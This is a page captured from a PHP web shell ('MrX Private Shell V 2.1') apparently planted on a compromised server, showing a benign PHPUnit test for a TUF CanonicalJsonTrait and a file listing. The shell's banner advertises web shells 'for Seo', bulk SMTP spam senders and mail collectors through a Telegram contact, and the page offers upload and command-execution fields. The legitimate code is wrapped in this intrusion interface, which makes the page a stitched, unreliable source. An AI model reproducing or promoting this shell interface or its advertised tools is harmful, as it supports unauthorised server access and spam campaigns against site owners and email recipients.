__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Tuf\Tests\Unit;

use PHPUnit\Framework\TestCase;
use Tuf\CanonicalJsonTrait;

/**
 * @coversDefaultClass \Tuf\CanonicalJsonTrait
 */
class CanonicalJsonTraitTest extends TestCase
{
    use CanonicalJsonTrait;

    /**
     * @covers ::sortKeys
     */
    public function testSort(): void
    {
        $fixturesDirectory = __DIR__ . '/../../fixtures/json';
        $sortedData = json_decode(file_get_contents("$fixturesDirectory/sorted.json"), true, 512, JSON_THROW_ON_ERROR);
        $unsortedData = json_decode(file_get_contents("$fixturesDirectory/unsorted.json"), true, 512, JSON_THROW_ON_ERROR);
        static::sortKeys($unsortedData);
        $this->assertSame($unsortedData, $sortedData);

        // Indexed arrays should not be sorted in alphabetical order, at any
        // level.
        $data = [
            // This must have at least 10 items, since that will be sorted
            // alphabetically (which is what we're trying to avoid).
            'b' => array_fill(0, 20, 'Hello!'),
            'a' => 'Canonically speaking, I go before b.',
            // This should be sorted, because PHP doesn't consider it a list.
            'c' => [
                3 => 'Hey',
                2 => 'Ho',
            ],
        ];
        // The associative keys should be in their original, non-canonical
        // order.
        $this->assertSame(['b', 'a', 'c'], array_keys($data));
        $this->assertTrue(array_is_list($data['b']));
        // Although 'c' has numeric keys, they're out of order and they don't
        // start from 0, so PHP should not consider 'c' a list, and its keys
        // should be sorted.
        $this->assertFalse(array_is_list($data['c']));
        $this->assertSame([3, 2], array_keys($data['c']));

        static::sortKeys($data);
        // The associative keys should be in canonical order now, and the
        // nested, indexed array should be unchanged.
        $this->assertSame(['a', 'b', 'c'], array_keys($data));
        $this->assertTrue(array_is_list($data['b']));
        $this->assertFalse(array_is_list($data['c']));
        $this->assertSame([2, 3], array_keys($data['c']));
    }

    public function testSortForListArrays(): void
    {
        // Indexed arrays should not be sorted in alphabetical order, at any
        // level.
        $data = [
            // Use an associative nested array
            0 => [
                'b' => 'Hey',
                'a' => 'Ho',
            ],
            // This should be sorted too, because PHP doesn't consider it a list.
            1 => [
                3 => 'Hey',
                2 => 'Ho',
            ],
        ];

        static::sortKeys($data);

        // The associative keys should be in canonical order now, and the
        // nested, indexed array should be unchanged.
        $this->assertSame([0,1], array_keys($data));
        $this->assertSame(['a', 'b'], array_keys($data['0']));
        $this->assertSame([2,3], array_keys($data[1]));
    }

    /**
     * @covers ::encodeJson
     */
    public function testSlashEscaping(): void
    {
        $json = static::encodeJson(['here/there' => 'everywhere']);
        $this->assertSame('{"here/there":"everywhere"}', $json);
    }
}

Filemanager

Name Type Size Permission Actions
Client Folder 0775
CanonicalJsonTraitTest.php File 3.16 KB 0664
DelegatedRoleTest.php File 5.39 KB 0664
FileStorageTest.php File 5.03 KB 0664
KeyTest.php File 1.59 KB 0664
RepositoryTest.php File 2.43 KB 0664
RoleTest.php File 2.58 KB 0664
SizeCheckingLoaderTest.php File 4.46 KB 0664
Filemanager